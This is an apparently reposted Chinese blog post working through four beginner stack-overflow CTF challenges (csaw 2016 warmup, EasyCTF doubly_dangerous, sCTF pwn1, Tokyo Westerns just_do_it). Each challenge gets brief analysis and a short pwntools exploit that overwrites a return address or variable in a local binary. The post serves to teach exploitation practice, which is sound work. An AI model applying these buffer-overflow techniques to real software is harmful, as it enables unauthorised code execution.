首页 > 其他 > 详细

栈溢出练习

时间:2019-08-13 11:09:38      阅读:132      评论:0      收藏:0      [点我收藏+]

0x00 csaw ctf 2016 quals-warmup

简单的栈溢出问题,保护都没开,新手练习用的

技术分享图片

测试运行了两次,发现给出的地址不是动态的,这样问题就很简单

技术分享图片

需要填充64个字符的padding,再加上8个字符的ebp,一共72个字符

技术分享图片

from pwn import *

p = process('./warmup')
p.sendline('a'*72 + p64(0x40060d))
p.interactive()

0x01 EasyCTF 2017-doubly_dangerous

32位程序,开启了NX保护

技术分享图片

查看伪代码,我的第一念想是使v5等于那个11.28125,但是不知道11.28125的存储方式

技术分享图片

查看11.28125的16进制数

技术分享图片

技术分享图片

我们得到00 80 34 41 这个16进制数,但是系统采用的大端,所以真正的值为0x41348000
在栈上s和v5之间距离是0x40,所以需要64个填充字符

from pwn import *

p = process('./doubly_dangerous')
p.sendline('a'*64 + p32(0x41348000))
p.interactive()

另一个方法是覆盖s的返回地址为give_flag的地址,但是试了很多次都失败了

0x02 sCTF 2016 q1-pwn1

32位程序,开启了NX保护

技术分享图片

查看伪代码,s这里限制32个字符,而s距ebp有60个字符;
然后发现是将输入里的I转化成you。这个时候我们可以想一下,如果我们输入一定的I。在缓冲区大小不变的情况下,转换成you,会不会造成缓冲区溢出,能否覆盖掉返回地址。

技术分享图片

这里最重要的是能看懂c++的这个伪代码,然而我看不懂~~

from pwn import *

p = process('./pwn1')
p.sendline('I'*21 + 'a' + p32(0x08048F0D))
p.interactive()

0x03 Tokyo West CTF 3rd 2017-just_do_it

32位程序,开启了NX保护

技术分享图片

查看伪代码,strcmp这里存在缓存区溢出

技术分享图片

计算出padding是20个字符

技术分享图片

from pwn import *

p = process('./just_do_it')
p.sendline('a'*20 + p32(0x0804A080))
p.interactive()

栈溢出练习

原文:https://www.cnblogs.com/at0de/p/11344371.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!